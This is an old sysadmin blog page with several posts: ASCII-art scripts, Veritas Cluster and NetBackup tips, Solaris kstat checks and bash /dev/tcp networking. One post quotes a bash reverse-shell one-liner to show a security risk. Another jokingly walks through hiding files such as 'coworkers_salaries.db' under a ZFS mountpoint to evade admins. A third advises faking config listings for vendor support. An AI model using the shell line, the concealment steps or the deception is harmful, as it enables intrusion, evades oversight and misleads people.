echo -en "::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::\n::::::::::OOO\$MOOO::::::::::::OOOOOOOOOO::::::::::::::::::::::::::::::::::::\n::::::::OO\$MM MMMMOOOO::::OOOMMMMMMMMMMMOO:::::::::::::::OOOOOOO::::::::::::\n::::::OOMM   \$\$M\$MMM\$OO::OMMMMOM  OM\$\$\$\$MMOO::::::::::::::::O:::::::::::::::\n:::::OMMM  \$\$\$\$\$\$\$MMMMOOOOMMM\$\$  \$MM\$MMM\$MM\$O:::::::::::::::O:::::::::::::::\n::::OMMMM M\$MM\$MM\$\$\$MMMMMMMMMO  O\$\$\$\$M\$MM\$MMMO:::::::::::OOOOOOOO:::::::::::\n::::OM\$\$M M\$\$\$\$\$\$\$\$\$O\$MMMMMM\$  \$O\$\$\$\$MM\$M\$\$MMOO:::::::::::::::::::::::::::::\n::::OM\$O\$\$\$\$\$\$\$\$\$\$\$\$\$\$O\$MO\$\$O\$\$\$\$\$\$\$\$\$\$\$O\$\$MMOO:::OOOO::::::::::::::::::::::\n::::OM\$\$\$\$MMO\$\$\$\$\$\$\$O\$\$\$\$\$\$O\$\$O\$\$\$\$\$\$M\$M\$\$MM\$O:::O:::O::::::::::::::::::::::\n:::::M\$\$OO\$M\$\$\$\$O\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$M\$\$MOMM\$O:::O::O:::::::::::::::O:::::::\n:::::MMM\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$OO\$\$\$MMMMO::OOOOO:::::OOOO:O::::O::OOO:::\n::::::OMM\$\$O\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$M\$MMO:::::O:::::::O::O:O:::O::O::O:::\n:::::::OMM\$\$\$M\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$MMMMMMO::::::O:::::::O::O::O:O:::OOO::::\n::::::::OOMM\$\$M\$ \$\$\$\$\$\$\$\$\$\$\$\$\$\$\$ M\$\$\$MM\$OO::::OOOOO:::::::OOO:::O::::O::::::\n:::::::::OOM\$\$\$\$M \$\$\$\$\$\$\$\$\$\$MM\$ \$\$\$\$MM\$\$O::::O:::OOOOO::::::::::::::::OOO:::\n:::::::::::OMMM\$\$\$ \$\$\$\$\$\$\$\$\$\$\$ \$\$\$\$\$MMOO:::::OOOO:::::OOOOO:::::::::::::::::\n:::::::::::::O\$MM\$\$ \$\$\$\$\$\$\$\$\$ \$\$\$\$\$MMO:::::::::::::::::::::::::::::::::::O::\n::::::::::::::OOMMM\$  M\$\$\$\$  MM\$\$MMO::::::::::::::O:::::O:::OOO::O:::O:::O::\n::::::::::::::::OMM\$\$\$     \$M\$\$MMO::::::::::::::::OO:::OO::O::O::O:::O:::O::\n:::::::::::::::::OMM\$\$O\$\$\$\$M\$\$\$MM:::::::::::::::::::OOOO:::OOOO:::OOOO:::O::\n::::::::::::::::::O\$MM\$\$\$O\$\$\$MMM:::::::::::::::::::::OO:::::::::::::::::::::\n::::::::::::::::::::O\$MMM\$\$\$MMO::::::::::::::::O::::OO:::::::::::::::::::O::\n:::::::::::::::::::::OO\$\$MM\$O:::::::::::::::::::OOOOO:::::::::::::::::::::::\n:::::::::::::::::::::::OO\$OO::::::::::::::::::::::::::::::::::::::::::::::::\n"


, Mike




Discover the Free Ebook that shows you how to make 100% commissions on ClickBank!



Please note that this blog accepts comments via email only. See our Mission And Policy Statement for further details.

Saturday, February 14, 2009

Valentine's Day Linux And Unix ASCII Art

Happy Valentine's Day :)

Although this holiday is heavily associated with a famous massacre and referred to by a good percentage of the general population as "Just in case you forgot, you're single" day, it's still up there with the biggies (If Hallmark ever figures out how to work Jesus into the celebration, they'll have a real hit on their hands ;)

No matter if you're in a relationship or find yourself alone this Valentine's day, you can make this holiday work for you. If you're involved, send a card (or do something nice) for your partner. If you're single, do something nice for yourself and enjoy this time in your life. Eventually, you will reminisce fondly about your independence. Sad, but true ;)

Now that I've spread the sweet perfume of romance in the air (or spread something ... thick ;) let's get to the pretty ASCII art. The ASCII art script, tagged to the bottom of this post, was picked up from Asciiworld.com, where they have a great collection of ASCII art which encompasses far more than just Valentine's day pictures. Go check out the ASCII World and see if you can't find something interesting to send to friends, family, even bitter enemies ;)

Happy Valentine's Day, again, and I hope you enjoy this bad boy. This time we added &nbsp; HTML entities to maintain the spacing that Blogspot generally eradicates :)

NOTE: Click on the picture below for a whole lotta love ;)

Valentines Day ASCII Art

#!/bin/bash

#
# hvd.sh - Happy Valentine's Day To The Love Of My Life - My Wonderful Wife :)


echo -en "\thugs&kisses&hugs&kisses&hugs&kisses&hugs&kisses&hugs&kisses&\n\t&            hugs&kisses&hugs&kisses&hu         &hugs&kisses\n\ts&h        es&hugs&kisses&hugs&kiss                 gs&kisse\n\tes&h      sses&hugs&kisses&hugs&k                     s&kiss\n\tses&      isses&hugs&kisses&hugs            &kiss      s&kis\n\tsses      kisses&hugs&kisses&hu           ugs&kiss      s&ki\n\tisse      &kisses&hugs&kisses&h          &hugs&kiss     gs&k\n\tkiss      s&kisses&hugs&kisses&         es&hugs&kis     ugs&\n\t&kis      gs&kisses&hugs&kisses        sses&hugs&k      hugs\n\ts&ki      ugs&kisses&hugs&kisse       kisses&hugs       &hug\n\tgs&k      hugs&kisses&hugs&kiss      s&kisses&hu        s&hu\n\tugs&      &hugs&kisses&hugs&kis     ugs&kisses&         es&h\n\thugs      s&hugs&kisses&hugs& i     hugs&kisse          ses&\n\t&hug      es&hugs&kisses&hug  k      hugs&kis           sses\n\ts&hu      ses&hugs&kisses&h   &       hugs&             isse\n\tes&h      sses&hugs&kisse     s&                       &kiss\n\ts                             gs&ki                 hugs&kis\n\ts                             ugs&kisse         sses&hugs&ki\n\ti             ses&h                                        k\n\tk             sses&                                        &\n\t&kis      gs&kisses&hug   isses&hugs      s&hugs&kisse     s\n\ts&kis      gs&kisses&h   &kisses&hug      es&hugs&kisses   g\n\tgs&ki      ugs&kisses&   s&kisses&hu      ses&hugs&kisses  u\n\tugs&ki      ugs&kisse   ugs&kisses&h      sses&hugs&kisses h\n\thugs&k      hugs&kiss   hugs&kisses&      isses&h gs&kisses&\n\t&hugs&k      hugs&ki   s&hugs&kisses      kisses  ugs&kisses\n\ts&hugs&      &hugs&k   es&hugs&kisse              hugs&kisse\n\tes&hugs&      &hugs   sses&hugs&kiss      s&kiss  &hugs&kiss\n\tses&hugs      s&hug   isses&hugs&kis      gs&kiss s&hugs&kis\n\tsses&hugs      s&h   &kisses&hugs&ki      ugs&kisses&hugs& i\n\tisses&hug      es&   s&kisses&hugs&k      hugs&kisses&hug  k\n\tkisses&hug      e   ugs&kisses&hugs&      &hugs&kisses&h   &\n\t&kisses&hu          hugs&kisses&hugs      s&hugs&kisse     s\n\ts&kisses&hu        s&hugs&kisses                           g\n\tgs&kisses&h        es&hugs&kisse                           u\n\tugs&kisses&hugs&kisses&hugs&kisses&hugs&kisses&hugs&kisses&h\n"


, Mike




Discover the Free Ebook that shows you how to make 100% commissions on ClickBank!



Please note that this blog accepts comments via email only. See our Mission And Policy Statement for further details.

Friday, February 13, 2009

Correcting Auto-Disabled Service Groups In Veritas Cluster Server

Hey there,

Today's post is going to be fairly specific. I'm either tapped-out on creativity or I'm writing this post after working into the night, or both ;) Here's a little something I picked up today concerning VCS and service groups for either the Unix or Linux version.

If you've ever wondered why, every once in a while, when you have a VCS service group problem and you get this error when you try to correct it:

service group is auto-disabled in the cluster!

you may have had a nervous breakdown at some point in your life ;) Adding to the confusion is that the default help output for the hagrp command only shows an autodisable option (? Either that or I was really tired while I was troubleshooting)

Now, there are good reasons for your service group to go into this state. It doesn't just do it to piss you off ;) For instance, if the basic VCS service (or engine) isn't running on a particular node in your cluster, this attribute gets set. That way, if it comes back online unexpectedly (or someone unexpectedly brings it online while you're working on something else in the VCS config) it won't start contending for resources and causing a possibly more confusing situation. It'll also do this if none of the resources in a service group have been probed (also generally indicative of a "bad bad failure") and if you lose all of your high priority heartbeats. Technically, I think it only does this when you only have disk heartbeats left, but I believe it also does it if you get down to having just one low priority link active and don't use disk heartbeats (I could test this out, but then I might have to keep working until tomorrow morning. I'm at the point where senseless voodoo-thinking has taken over ;)

Luckily, it's a really simple situation to fix, if you know the service group shouldn't be disabled and/or you need to bring an autodisabled service group up. The command line that does that is:

host # hagrp -autoenable YOUR_SERVICE_GROUP_NAME -sys THE_NODE_YOU_WANT_TO_AUTOENABLE_THE_SG_ON

Another way to get around this is to manually probe all of the resources in that service group. It seems like a waste of time to me, but I'm glad the option exists, just in case the above command line fails to do the trick for one reason or another.

host # hares -probe RESOURCE_NAME -sys NODE_YOU_WANT_TO_PROBE_RESOURCE_ON

I find this can be made somewhat simpler by using "hares -display," and piping that to a grep and awk statement, although doing this could result in errors that can end up making your life even more miserable if you don't put in extra echo statements to list out what exact resources are being probed!

And, as my exit nears, another way to do this is to simply use your /etc/VRTSvcs/conf/config/main.cf (assuming it has service groups in it that aren't autodisabled) and get the command line (same as above) by using hacf:

host # hacf -cftocmd /etc/VRTSvcs/config/config/

This will produce a file named "main.cmd", and you can then just "grep -i able" out of it and you should have one line in there, at least, that prints out the exact command you need to run (with your specific service group and system name some times) to unset that flag (or attribute)

Here's to a happy Valentine's day, tomorrow, for almost all of you ;)

Cheers

, Mike




Discover the Free Ebook that shows you how to make 100% commissions on ClickBank!



Please note that this blog accepts comments via email only. See our Mission And Policy Statement for further details.

Thursday, February 12, 2009

When Features Attack: Bash Version 4.0.0(1)-rc1

How do?,

Before we get started today, I just wanted to reflect on our posts' introductions. Usually it's "Hey there," or something to that effect. Being one of those people who are bothered by redundancy (at least, after the 50th time ;) this is the one part of blog posting I find the most grating. And, since everything reminds me of a George Carlin quote, I think he put it pretty well in this little paragraph about saying goodbye to your fellow man (from "Napalm And Silly Putty"):

Then have you noticed this, you get in a rut with the way you say goodbye. You ever find yourself using the same phrase over and over again with everybody, you feel a little stupid. Like if you're leavin' a party, and you have to say goodbye to five people, you say, "OK, hey take it easy, OK, hey take it easy, OK, hey take it easy..", you feel like a goddamn moron, ya know? So you know what I do? Every month, I change the way I say goodbye. Whether I need to or not, every month I start using a different phrase. People notice that. They appreciate that extra effort. They'll say to me, "Pardon me, didn't you used to say, 'OK, hey take it easy'". I say, "Yes I did. but not anymore." Now I say "Farewell". Farewell 'til we meet again, Peace be with you. May the forces of evil become confused on the way to your house. That's a strong one, isn't it? People will remember you if you talk like that. Then sometimes you can combine certain ways to say goodbye that don't really seem to go together, like, "Toodle-oo, go with God, and don't take any wooden nickels." Then people don't know what the fuck you're talking about! Or you can say goodbye in a realistic manner. "So long Steve, don't let self-doubt interfere with plans to improve your life." Well, some people need practical advice.


Anyway, that being said, my options are somewhat limited, since I'm old enough to feel silly saying (or writing) things like "Word," or "What's the haps?" The first one is slang that just doesn't belong to my generation. I might find it amusing, but, at the same time, it seems like it might be confusing or taken the wrong way. The second one seems to have come around within the last year or so and, despite its down-home flavour and growing presence, I've yet to meet anyone who's actually ever said it and, to be quite honest, whenever I read that greeting in an email I mentally envision a middle-aged white man tragically out of touch with the youth culture of today and, also tragically, clamoring out in a weak last-ditch effort to stay hip. I pretty much understand everything most kids say to each other, but I've never felt the need to incorporate any of it into my own dialogue. The only exception is if I'm being sarcastic, which the kids pick up on immediately. They're not stupid and they can smell desperation. I would imagine that they (as I did when I was younger) look to the adults among them for some sense of normalcy, even in the form of language. As a parent, I don't discourage my kids from "fitting in," but I do try to provide a point of reference for them so they can go out into the world and speak intelligently to the older people that will be signing their paychecks (unless they're paying themselves, in which case they're either incredibly successful or possibly schizophrenic ;) Anyway, that being said (damn it! ...redundancy again ;), let's get on with this post. I'm getting farther and farther off-topic. It's a good thing I'm not getting paid for this ;)

On-topic (although this post is much less interesting than the Fox special where the latest build of bash mauls one of its handlers on film ;) I finally found some time and compiled version 4.0.0(1)-rc1 which, I believe, is the latest release out there right now (I could very well be wrong, as I completely missed 4.0-beta2). One of the first things I noticed when looking at the configurable options is that the ability to access the network via Bash's /dev/tcp networking functionality is now an actual option ( --enable-net-redirections ) to configure. When I saw this, I thought two things:

1. Although this used to be enabled by default (which sparked some controversy) , now you have to specifically add it when you build. Of course, conversely, you can specifically exclude it, as before, which leads to the next point...

2. With regards to disabling the net redirection feature, I'm curious if it's a more secure implementation or if it's just being "recognized." Part of me figures that security issues will probably continue to exist with this feature, or it wouldn't be disabled by default. This way, anyone who wants to compile on their own, isn't aware of any of the security risks, and just does a robotic-build (./configure;make;make install - or, and I can't be certain of this, installs the default-build rpm, dpkg, pkg, etc) won't be vulnerable. I've seen a lot of debate on the blogs and boards about whether or not bash's implementation of net redirects is, in fact, a real security risk. For instance, labs.neohapsis.com has this nice online tutorial on how to connect back to the shell using bash net redirects. If you don't want to hop over there, I tested this with net redirects built into bash 4.0.0(1)-rc1 and it still works:

host # exec /usr/local/bin/bash 0</dev/tcp/host/514 1>&0 2>&0

HAPPY NOTE: If you're stuck with any bash version (or pre-compiled OS package), you can still - for the most part - disable bash's net redirect functionality (except in the case of the root user and/or anyone with equal system privilege) in, probably, more than one way. Check out our old post on securing /dev/tcp and /dev/udp if your OS allows you to set extended file access control lists. Restricting the permissions on /dev/tcp and /dev/udp to that extent doesn't actually remedy the underlying situation, but it does make it a lot harder to exploit.

I've included a combo-script (built from various older ones we've posted before) so that you can test your system/OS's behaviour when implementing this functionality with the latest version of bash. I'll probably be goofing around with this a lot in the near future ( although I promise not to bother you with every boring detail ;), as it could make some of our older bash scripts much tighter and outside-software-independent if it proves out.

Farewell 'til we meet again, Peace be with you. May the forces of evil become confused on the way to your house ;)

P.S. In the pictured output below, I used "www.tinyurl.com" for the httpserver variable so it would get the 301 redirect and you'd be able to see all the output from the script. If you run this script against "tinyurl.com" you'll get back the entire page, which runs a bit long)

Click on the picture below for the fun-sized version ;)

Output from bash net redirect script

Cheers,


Creative Commons License


This work is licensed under a
Creative Commons Attribution-Noncommercial-Share Alike 3.0 United States License

#!/bin/bash
#
# httpg11
#
# 2009 - Mike Golvach - eggi@comcast.net
#
# Creative Commons Attribution-Noncommercial-Share Alike 3.0 United States License
#

#
# Just edit these to your preferences -
# $domain should just be the domain.com part of your $mailserver address
#

mailserver="mail.domain.com"
domain="domain.com"
httpserver="www.tinyurl.com"

echo "Testing mail server functionality"
exec 9<>/dev/tcp/$mailserver/25
read -r server_version <&9
echo "Server reports it is: $server_version"
echo "HELO $domain" >&9
read -r greeting <&9
echo "Server responded to our hello with: $greeting"
echo "VRFY username" >&9
read -r vrfy_ok <&9
echo "Server indicates that this is how it feels about the VRFY command: $vrfy_ok"
echo "quit" >&9
read -r salutation <&9
echo "Server signed off with: $salutation"
echo "Dumping any remaining data in the file descriptor"
cat <&9 2>&1
echo "Closing input and output channels for the file descriptor"
9>&-
9<&-
echo "--------------------------------------------------"
echo "Testing web server functionality - Here it comes..."
exec 9<>/dev/tcp/$httpserver/80
echo "GET / HTTP/1.1" >&9
echo "Host: $httpserver" >&9
echo "Connection: close" >&9
echo "" >&9
while read line
do
echo "$line"
done <&9
echo "Dumping any remaining data in the file descriptor"
cat <&9 2>&1
echo "Closing input and output channels for the file descriptor"
9>&-
9<&-
echo "done"


, Mike




Discover the Free Ebook that shows you how to make 100% commissions on ClickBank!



Please note that this blog accepts comments via email only. See our Mission And Policy Statement for further details.

Wednesday, February 11, 2009

Volume 3 Of The Linux/Unix SysAdmin Covert File Storage Method

Cheers,

Today's post is the third volume in our series on covert file storage. If you're interested in reading up on the 57th installment of this series, please feel free to click the link that's way behind the anchor text right here ;) Today, we're going to be looking at the tip discussed in volume 57, but with respect, specifically, to the ZFS filesystem. The meaning of those initials is included in the hyperlink, again, preceding the sentence that should land you at your anchor text. Of course, one connecting theme of these three posts is that everything is out of order; hence the signature sign-off in place of the usual greeting. We're trying really hard to be clever and, if we're lucky, we'll unintentionally create a perpetually-looping self-parody that unexpectedly creates infinite depths of recursion as we explore the meaning of the meaning of the meaning of... In the meantime, we'll plow straight ahead and bring you Volume 3 (which, of course, is the second entry) in our series of posts on hiding things in and under your Unix or Linux partitions and overlay-mounts (one's the same as the other but the other isn't necessarily the same as the one ;)

This post's twist is that we'll be specifically approaching hiding data in ZFS mountpoints. For the purposes of our demonstration and experimentation, we'll assume that the version of ZFS we're using is the one that roughly corresponds with the date of this post. If any feature mentioned didn't work a year ago, or you're reading this in the future and find yourself disgusted with the lack of an "obvious" and simple solution that didn't exist yet, we beg your pardon. This blog is written in the present (over and over and over again), edited in the very near relative-future and published before the aforementioned activities become distant recollections from the past ;)

Again, you can refer to our previous post on finding space hogs on multiple-overlay mountpoints if you want to look into that aspect a little bit deeper. Also, we'll be using the /usr/local overlay mount, mounted on top of /usr, for our models.

ZFS is actually quite a robust files system and is improving with each release. One really nice thing about it is that it's available for both commercial Solaris and OpenSolaris, so we don't have to exclude the open source community in this post like we have to with most of our Solaris posts. You're always welcome to read of course, but we prefer to only advertise or offer-up relevant content to our readers (Meaning that, since most of our traffic has been (and still is) the result of shameless self-promotion -- but, thank you Google for indexing us! -- we try not to forget to fail to "drop bombs" on purely Open Source forums when we write about proprietary, and unbelievably costly, Operating Systems).

Today's experiment will have us butting into a few problems along the way. But we'll still be able to get away with hiding our stuff. Like Rocky Balboa, we're about to be repeatedly punched in the face (and if you've ever seen that movie, you know that he gets hit around 70 or 80 times at full-force in the last fight alone) and yet still manage to lose the fight... okay; that was a bad allegory, not to mention a bad analogue. Think "Rocky II" instead. He get's his face smashed in some more, but we're pretty sure he wins at the end of that movie ;)

Step 1: Take stock of your surroundings. You're going to, first and foremost, ensure that the information you're hiding won't be compromised by the little things (like putting big things in small spaces or using big spaces with little room to store any things ;) Just like in the 57th method, we've got it pretty good, with regards to the amount of space available on /usr. The space on /usr is, ultimately, more important than the space available on /usr/local, since that's were our hidden files will actually reside and any changes in size might get noticed by tools like "du,""df" or the people who get paid to keep an eye on you (Sorry - that one was just way too easy to let it go ;)

Since our example output (aside from the ZFS-specific errors) will be the same, we're going to assume the example output from our post on the 57th method, which you can refer back to, before this post gets even longer than way-too-long!

Step 2: Pry that floorboard loose. This is where you still have to be nimble, and is one part of this operation that you'll want to execute as quickly as possible (putting everything back to normal would be the other thing you want to do quickly. Restoration of seeming-normality in as little time as possible is key).

First, we'll unmount the /usr/local filesystem, which leaves us with "df -k" (or "df -whatever" - however you like it) showing that /usr/local is now simply a directory on the /usr mountpoint. It's no longer a mountpoint, which is good. If you haven't been storing stuff here already, the directory should be empty.

Step 3: Throw all that stuff you're not supposed to have into the /usr/local directory and then nail the floorboards back down by remounting /usr/local.

NOTE: This is where ZFS bites you in the arse, if you've set it up using its defaults. Now you're in it deep because you're half-invested in a conspiracy to cover something up (we won't judge) and you have to decide if you want to put off until the future what you could figure out today, or just figure everything out right now.

An important distinction to be made at this point is that ZFS doesn't use the standard "mount" and "umount" commands that, say, UFS, does. It uses the very-similar "zfs mount" and "zfs umount" commands, instead. Assuming that your ZFS filesystem is a default ZFS filesystem and you've run the following commands (so far), you'll get the error at the end of the output below:

host # zfs umount rootdg/usr/local <-- NOTE HERE: The ZFS filesystems are part of a data pool or dataset, so the output looks slightly different in df, mount, du, etc.
host # mv /tmp/coworkers_salaries.db /usr/local/.
host # zfs mount rootdg/usr/local
cannot mount '/usr/local': directory is not empty
<-- Also notice that the error message will usually use the "mountpoint" name as opposed to the "dataset" name. In this instance, the mountpoint /usr/local is actually mounted on rootdg/usr/local.

OUCH! Now the important thing to do is not to be like Rocky! Completely ignore Mickey while he calls you a tomato and goes on to explain some insanity about how he's not running some goddamn soup kitchen ;) You can escape from this situation - on the fly - quite easily if you know your command line options (or look them up really quickly):

host # zfs mount -O rootdg/usr/local
host #


Phew...

Step 4. Ensure everything looks good, and, if you have the time, consider one other option that might make your life easier later on (although it may draw unwanted attention. Each situation is unique. If your boss and/or co-workers are paranoid, they're probably out to get you and are all in on it ;) If you're reasonably confident you have a good excuse prepared and can set this up (if you'll permit us one more chug of spite from the "Rocky" well), Mickey also told you to keep hitting that bastard in the ribs, ya see? "Don't let him breathe." Your ZFS filesystem can be modified to keep your future covert operations more efficient. We'll look at that before we bid you adieu, since statistics show that the average human's attention span is ...something less than optimal. The specifics are fuzzy, but it's definitely not "above average" ;) That sentence couldn't have made more sense, by adhering to its own logic, if we paid it to...

The way to do this is, of course, to make your ZFS filesystems into legacy filesystems, rather than remembering to use "-O" at the command line every time (which won't work on a reboot or automated remount), and keep them that way! This other method doesn't rob you of all of the benefits of ZFS, but does make it so that commands like "zfs mount -a" won't auto-mount your ZFS mountpoint. In fact, "zfs mount" won't work for that mountpoint anymore, and you'll need to include it in /etc/vfstab, just like the UFS and VXFS, etc, filesystems if you want it to mount at boot, etc. So, for our rootdg/usr/local filesystem/mountpoint/dataset, we'll need to do the following (and you'll see how incredibly obvious this move can be ;)

host # zfs set mountpoint=legacy rootdg/usr/local
host # mount -F zfs rootdg/usr/local /usr/local


Actually, that isn't "so" bad, but, as we mentioned, if you want to automate this, you'll need to add a line to /etc/vfstab that looks odd and out of place:

rootdg/usr/local - /usr/local zfs - yes -


This is particularly easy to spot because the logical device has a different format than most (/dev/dsk/c0t0d0s0, for example) and the "device to fsck" and "fsck pass" columns are both not used and need to be set to "-" rather than the standard "/dev/rdsk/c0t0d0s0" and "1" that might usually go there. Also, and this is the worst part, you have to put the name of the filesystem in there, so "zfs" is spelled out right in the middle of the entry. Nasty...

Step 5: Make sure things look relatively the same, so you don't get in trouble, and walk away. Don't look back. People who regret past decisions often look over their shoulders compulsively. Most people know this even if they don't "know" that they know this. Kind of in the same way some folks might make you feel uneasy or suspicious, although you couldn't say for exactly what reason.

And bang, zoom; you're all set, yet again. Unless you're incredibly unlucky, or tragically misinformed, your stuff should be there waiting for you when you go to get it back.

Well be back with our final self-referencing 437th Issue in this three part series. As it began, so shall it start. As above, so it goes. When God opens one door, He closes another :)

Howdy,

, Mike




Discover the Free Ebook that shows you how to make 100% commissions on ClickBank!



Please note that this blog accepts comments via email only. See our Mission And Policy Statement for further details.

Tuesday, February 10, 2009

Using Kstat To Check Your NIC Settings On Solaris 10 Unix

Aloha,

Hope you're having an enjoyable Friday and are looking forward to getting out of the office just as badly as I am. It's a long story, but I can't even begin to explain how close I came to just snapping like a twig and going incendiary on my cubicle, the office, the parking lot, the CostCo down the street and pretty much the entire business district. I swear; one more day of this and I might have ended up on the national news being brought down in a hail of bullets as entire Police departments and SWAT Teams on loan from neighboring states littered the urban landscape with speeding chunks of molten hot metal (killing the 100 or so odd "innocent" bystanders, of course). Thank God it's Friday. I never thought I'd ever say that and not feel like an imbecile, but, there you have it. I'm wasted. Worn out. Done. Through. The world has taken its sweet time this week and pummelled me like a crash-test dummy. One day at a time; that's what they say, right?

Hold the phone... I'm getting a late breaking news flash. It seems that today is actually Tuesday (??) Wait... no, it's Monday, definitely Monday (Dustin Hoffman, Rain Man, Judge Wapner, Jeopardy) and I'm writing Tuesday's copy. Okay... that, yes... that does mean that ...the work week has just begun... Man... that's... just... depressing... I... All right; buck up. Keep repeating: "I need this job. I need this job." Don't question authority, do what you're told, toe the line, don't buck the system, don't pass the buck, because the buck stops here. I guess I'll have to live up to the title of this post now... It appears I'm going to need Friday's paycheck. I can't possibly finance the kind of epic malfeasance I'm going to be burning to unleash, four days from now, on the change in my pocket and the fumes in my gas tank. So, hey :) Let's learn something we may already know :)

BTW (which means By The Way if you're too lazy to type the whole thing out, although the explanation kind of defeats the whole purpose... ;), the preceding two paragraphs were in jest. Seriously. I was only kidding, and I apologize to each and every one of you that came here for the few lines of actual cut-and-paste code and technical writing that follow. Of course, if you're a regular reader, you either enjoyed the above, hated it but couldn't stop reading (like not being able to look away from a car wreck, except, this is a just a bunch of words on a "page" and there aren't any cars involved ;) or just skipped right past it. If you're one of the last bunch, you're not even reading this right now, which means I could use this opportunity to make a few totally-uncalled-for remarks, but I won't. Just this once... On with the show :)

Today's we're going to take a look at using kstat on Solaris 10 ( It's actually available on Solaris 9, as well - I'm sure not sure, off the top of my head, about 8, but I think they were still using "netstat -k") to find out the three things you most often want to know about your network interface cards. Of course, the three things you'll want to be able to check on, arise from three separate problem-areas (which almost always get lumped together to some degree). Basically, you'd never need to know this stuff if your NIC's came, out-of-the-box, all cranking at the highest speed possible, transmitting as efficiently as possible and only engaging in worthwhile speed/transfer/protocol negotiations with upstream/downstream routers. But, hey, sometimes the world's not perfect ;)

1. How to check your NIC's link speed with kstat:

They say they sent you a Gig card, but you could swear it's chunking along at 100 meg. You're probably right (or really really really impatient ;), but it never hurts to know for sure (insofar as you can know anything for sure - BTW, be sure to check out my post-existential-emo-nihilist poetry at PleaseKillMeButDon'tMakeItHurt.com ;). This command line should give you that info (-m is the argument for your NIC driver type - might be ce or something else, and -i is for the instance of that driver. In this instance we're using the device driver bge0. -s is for the statistic you're looking up, if you want to specify that; which we do, for now):

host # kstat -m bge -i 0 -s link_speed|grep link_speed|awk '{print $2}'
1000


And, YES, according to the OS, that NIC (or that port, anyway) is performing to expectations. Running at a gig. Fantastic!

2. But, what about the duplex? This is a legitimate concern. I've actually never seen any card run at 1 gig half duplex, but it "is" possible, or they wouldn't account for it. You'll usually call duplex into question when you're running at 100 meg (on a gig-capable card and network) or 10 meg, given the same circumstances. This is easy to find out, too. Just hire a team of monkeys to hammer the keyboard until they come up with this sequence of characters ;)

host # kstat -m bge -i 0 -s link_duplex|grep link_duplex|awk '{print $2}'
2


Yet again, SUCCESS! If you wanted full duplex, anyway. That's what the 2 stands for. You could also end up with a 1 (half-duplex) or a 0 (which, technically, means your link is down. If you're not connected through serial console, ALOM, or something of that sort and you get this result, your version of kstat is either lying to you or it's hurt and confused ;)

3. And, finally, we should probably figure out if our NIC is set to auto-negotiate. This setting is less "definite" than the other two, since the folks who configure your network may require that your NIC be set to auto-negotiate, or (this happens a lot) train specifically to a determined speed and duplex. Auto-negotiation is always the easiest thing for both parties involved, if it works, but if you need to force your NIC to run at 100 meg full duplex and turn off auto-negotiation in order for your server to run on the network, that's that. You either do it or people start to wonder why they're paying you ;)

host # kstat -m bge -i 0 -s cap_autoneg|grep cap_autoneg|awk '{print $2}'
1


This is either great news or the beginning of a headache that could last weeks and drain you of whatever shattered will you have left ;) If you get a 1 back from this command, auto-negotiation is enabled (In a perfect world, you're Golden) and, if a 0 comes back, you're not doing any auto-negotiation.

If you want to change any of these values, check out this really old post we did on figuring out your NIC's speed and duplex on Solaris (to set the properties, just change the -get option for "ndd" to -set). It'll get you all sorted out :) And, yes, that post is somewhat similar to this one, but it's from November 2007 and we were still all hung up on using "netstat -k" to get our info back then ;)

Keep smiling. Even if it hurts ;)

Cheers,

, Mike




tbuskey noted this with regards to the kstat command and link speed attribute. Thanks!


This still depends on the hardware. EDITOR NOTE: For this card, tbuskey notes that ifspeed is what you should be looking for!

I have an nge card. kstat -m nge -i 0 | grep link
link_asmpause 0
link_autoneg 1
link_duplex 2
link_pause 0
link_state 1
link_up 1
link_duplex 2
link_state 1
$ kstat -m nge -i 0 | grep speed
bus_speed ifspeed 1000000000
ifspeed 1000000000



Discover the Free Ebook that shows you how to make 100% commissions on ClickBank!



Please note that this blog accepts comments via email only. See our Mission And Policy Statement for further details.

Monday, February 9, 2009

Getting Faster Support For Your VCS-Clustered NetBackup Servers

Hey There,

Today's post is a little trick that anyone running Veritas/Symantec NetBackup (Linux or Unix) on VCS - Veritas Cluster Server - should know. As the title suggests, doing this one little thing will almost guarantee you more responsive support from Symantec (given the highly specific situation outlined in the first sentence, of course ;). The funny thing, though, is that many people have this problem already; they just may not have had to deal with Symantec, with regards to it, yet.

The problem you have (or will have) to face is that Symantec "does not" fully support VCS Clustered NetBackup installations if that same cluster has other Service Groups and/or major resources active on it. I'd almost say that they don't support it at all, but that's not entirely true (just keep complaining. You'll see ;). However, Symantec's stated position is that they really "don't" support it at all (and this is only hearsay, of course. Something I've heard while on the phone with another person who answered the phone at the number listed on our contract for Symantec NetBackup Support. So, of course, I may not be entirely correct, here ...).

Basically, what this means is that Symantec has VCS Cluster support for NetBackup (They own both NetBackup and Veritas Cluster Server), have VCS modules (types files, pkg's, etc) for NetBackup and even have full documentation online to help you setup your NetBackup Server(s) in VCS. Even given that fact, they do not support NetBackup in a VCS cluster that also runs, say, NFS or Oracle or even a shared mountpoint that isn't NB-related. NOTE: They especially don't support IPmultiNIC_B (I'm not sure why, since NIC auto-failback seems like a great idea to me)!! Their contention is that NetBackup is meant to function on VCS as the "only service or resource." This is fine, if you can spare 2 or 3 servers to just run NetBackup (larger companies, and data security/storage/backup companies, probably have no issue with this). However, most businesses can't afford to spare the extra servers "just" for NetBackup and will often have NetBackup in the same VCS cluster that runs an NFS group/resource, other shared mountpoints, web servers, databases, etc. Hopefully not "all" of those on one machine, but times are tight; you never know ;)

Now, here's the trick (it's not even a trick, really, just some good advice to help you out) to getting speedy support from Symantec when you call them about an issue with NetBackup on VCS: You're going to have to do a little bit of prep work and (even if it hurts) lie a little bit. If you're not comfortable "bending the truth," just remember that dishonesty is the second-best policy. Things could be worse ;)

1. Before you call, have a backup main.cf ready to go. And, this is very important if you're working on a cluster that's been around for a while, make sure that you do one of two things when Symantec Support asks for anything like an "ls" of your /etc/VRTSvcs/conf/config directory:

a. Do a very specific ls:

host # ls /etc/VRTSvcs/conf/config/main.cf <-- They don't need to see the other 500 hundred backups that are three times the size of your faked-up file ;)

b. Create a staging directory, copy only the minimal files you want into it, and then give them an "ls" of that:

host # cd /etc/VRTSvcs/conf/config/stage <-- Don't show them this!
host # ls -l *

